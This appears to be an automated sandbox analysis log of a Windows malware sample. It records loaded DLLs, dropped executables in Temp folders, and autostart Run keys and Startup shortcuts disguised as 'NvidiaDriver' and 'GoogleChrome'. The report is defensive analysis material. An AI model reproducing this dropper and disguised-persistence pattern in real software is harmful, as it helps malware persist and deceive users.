Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: wininet.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: urlmon.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: iertutil.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: srvcli.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: netutils.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: propsys.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: edputil.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: wintypes.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: appresolver.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: bcp47langs.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: slc.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: userenv.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: sppc.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: vcruntime140.dll
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: wininet.dll
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: urlmon.dll
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: msvcp140.dll
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: iertutil.dll
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: srvcli.dll
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: netutils.dll
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\iAGXBgLW\VBJU2N3euXB4jMxu.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\iAGXBgLW\VBJU2N3euXB4jMxu.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\iAGXBgLW\VBJU2N3euXB4jMxu.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\iAGXBgLW\VBJU2N3euXB4jMxu.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\iAGXBgLW\VBJU2N3euXB4jMxu.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\iAGXBgLW\VBJU2N3euXB4jMxu.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\iAGXBgLW\VBJU2N3euXB4jMxu.exe	Section loaded: mswsock.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: wininet.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: urlmon.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: iertutil.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: srvcli.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: netutils.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: propsys.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: edputil.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: wintypes.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: appresolver.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: bcp47langs.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: slc.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: userenv.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: sppc.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: wininet.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: urlmon.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: iertutil.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: srvcli.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: netutils.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: propsys.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: edputil.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: wintypes.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: appresolver.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: bcp47langs.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: slc.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: userenv.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: sppc.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\6AMM9O8n\YOB9kZKIRUqnzMwq.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\6AMM9O8n\YOB9kZKIRUqnzMwq.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\6AMM9O8n\YOB9kZKIRUqnzMwq.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\6AMM9O8n\YOB9kZKIRUqnzMwq.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\6AMM9O8n\YOB9kZKIRUqnzMwq.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\6AMM9O8n\YOB9kZKIRUqnzMwq.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\6AMM9O8n\YOB9kZKIRUqnzMwq.exe	Section loaded: mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: NvidiaDriver.lnk.6.dr	LNK file: ..\..\..\..\..\..\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe
Source: GoogleChrome.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Lync

Source: T4qO1i2Jav.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe

Code function: 0_2_0009DE7C GetModuleHandleW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,

0_2_0009DE7C

Source: T4qO1i2Jav.exe	Static PE information: real checksum: 0x8fb6f should be: 0xd91bc
Source: mt5b5cRJXAGEr0y6.exe.20.dr	Static PE information: real checksum: 0x96863 should be: 0x1c0b63
Source: VBJU2N3euXB4jMxu.exe.20.dr	Static PE information: real checksum: 0x96863 should be: 0x1c0b63
Source: Q13Hi3dPshjDHTjm.exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x27b9f
Source: 89TY9V9WIQJRU6EB7DK4LP.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x27b9f
Source: Zo4ZOmQUK81m492h.exe.20.dr	Static PE information: real checksum: 0x96863 should be: 0x1c0b63
Source: U08CYPEDK3U9ZW3NZ4R.exe.0.dr	Static PE information: real checksum: 0x96863 should be: 0x1c0b63
Source: Yau7CFuJ3hfnsdmh.exe.46.dr	Static PE information: real checksum: 0x96863 should be: 0x1c0b63
Source: Nkeeei[1].exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x27b9f
Source: hYDFhjqVouJ7cB7Z.exe.5.dr	Static PE information: real checksum: 0x96863 should be: 0x1c0b63
Source: YOB9kZKIRUqnzMwq.exe.46.dr	Static PE information: real checksum: 0x96863 should be: 0x1c0b63

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000FE09C push eax; mov dword ptr [esp], esi	0_2_000FE0B8
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000C80F8 push eax; mov dword ptr [esp], 0000002Eh	0_2_000C8615
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000C80F8 push eax; mov dword ptr [esp], 00000065h	0_2_000C86E5
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000C2194 push eax; mov dword ptr [esp], 0000002Eh	0_2_000C2677
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000C2194 push eax; mov dword ptr [esp], 00000065h	0_2_000C273D
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000CC1A8 push ecx; mov dword ptr [esp], edx	0_2_000CC1E2
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000AA2C8 push eax; mov dword ptr [esp], edi	0_2_000AA2EE
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000CE2C0 push ecx; mov dword ptr [esp], edx	0_2_000CE2FA
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000B2450 push eax; mov dword ptr [esp], esi	0_2_000B247C
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_0010244C push edx; mov dword ptr [esp], eax	0_2_00102558
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_0010244C push edi; mov dword ptr [esp], 00000002h	0_2_00102576
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000CC4FB push ecx; mov dword ptr [esp], eax	0_2_000CC510
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000E0531 push edx; mov dword ptr [esp], esi	0_2_000E0594
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000E0554 push edx; mov dword ptr [esp], esi	0_2_000E0594
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000CE611 push esi; mov dword ptr [esp], eax	0_2_000CE626
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000EC6C4 push edx; mov dword ptr [esp], eax	0_2_000EC735
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000E06C0 push edx; mov dword ptr [esp], esi	0_2_000E06FA
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_0010472C push ebx; mov dword ptr [esp], eax	0_2_001047B9
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000F0754 push eax; mov dword ptr [esp], 0010D110h	0_2_000F0786
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000F0754 push edx; mov dword ptr [esp], 00000001h	0_2_000F0798
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000F0754 push eax; mov dword ptr [esp], esi	0_2_000F07B9
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000F0754 push eax; mov dword ptr [esp], 0010D158h	0_2_000F07CD
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000F0754 push eax; mov dword ptr [esp], 0010D164h	0_2_000F07F6
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000F0754 push eax; mov dword ptr [esp], 00000001h	0_2_000F0871
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000F0754 push eax; mov dword ptr [esp], 0010D0F0h	0_2_000F0880
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000F0754 push eax; mov dword ptr [esp], 0010D11Ch	0_2_000F08BB
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000F0754 push eax; mov dword ptr [esp], 00000001h	0_2_000F08CD
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000F0754 push edx; mov dword ptr [esp], 0010D194h	0_2_000F08DC
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000F0754 push eax; mov dword ptr [esp], 0010D170h	0_2_000F0905
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000F0754 push eax; mov dword ptr [esp], 0010D17Ch	0_2_000F092E
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000F0754 push eax; mov dword ptr [esp], 0010D100h	0_2_000F09B8

Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\Nkeeei[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	File created: C:\Users\user\AppData\Local\Temp\pAXokq4A\Zo4ZOmQUK81m492h.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	File created: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	File created: C:\Users\user\AppData\Local\Temp\iAGXBgLW\VBJU2N3euXB4jMxu.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	File created: C:\Users\user\AppData\Local\Temp\pAXokq4A\mt5b5cRJXAGEr0y6.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	File created: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	File created: C:\Users\user\AppData\Local\Temp\6AMM9O8n\YOB9kZKIRUqnzMwq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File created: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	File created: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	File created: C:\Users\user\AppData\Local\Temp\pAXokq4A\Yau7CFuJ3hfnsdmh.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run GoogleChrome	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run NvidiaDriver	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NvidiaDriver.lnk

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NvidiaDriver.lnk			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GoogleChrome.lnk			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run NvidiaDriver	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run NvidiaDriver	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run GoogleChrome	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run GoogleChrome	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
